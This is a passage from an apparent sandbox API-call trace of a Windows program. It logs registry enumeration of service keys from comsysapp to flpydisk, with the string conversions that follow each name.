CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1bf8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0225.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0225.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0225.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0225.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0225.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1ad8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0225.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1bf8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0225.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1ad8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0225.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1bf8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0225.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0225.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0225.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0225.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0225.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0225.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0225.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0225.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0225.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0225.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0225.009] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0225.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0225.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0225.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0225.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0225.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0225.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0225.010] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0225.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0225.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0225.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0225.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0225.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0225.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0225.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0225.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0225.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0225.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0225.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0225.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0225.061] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0225.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0225.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0225.061] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0225.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0225.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0225.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1bf8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0225.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0225.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.062] WideCharToMultiByte (in: CodePage=0x0, 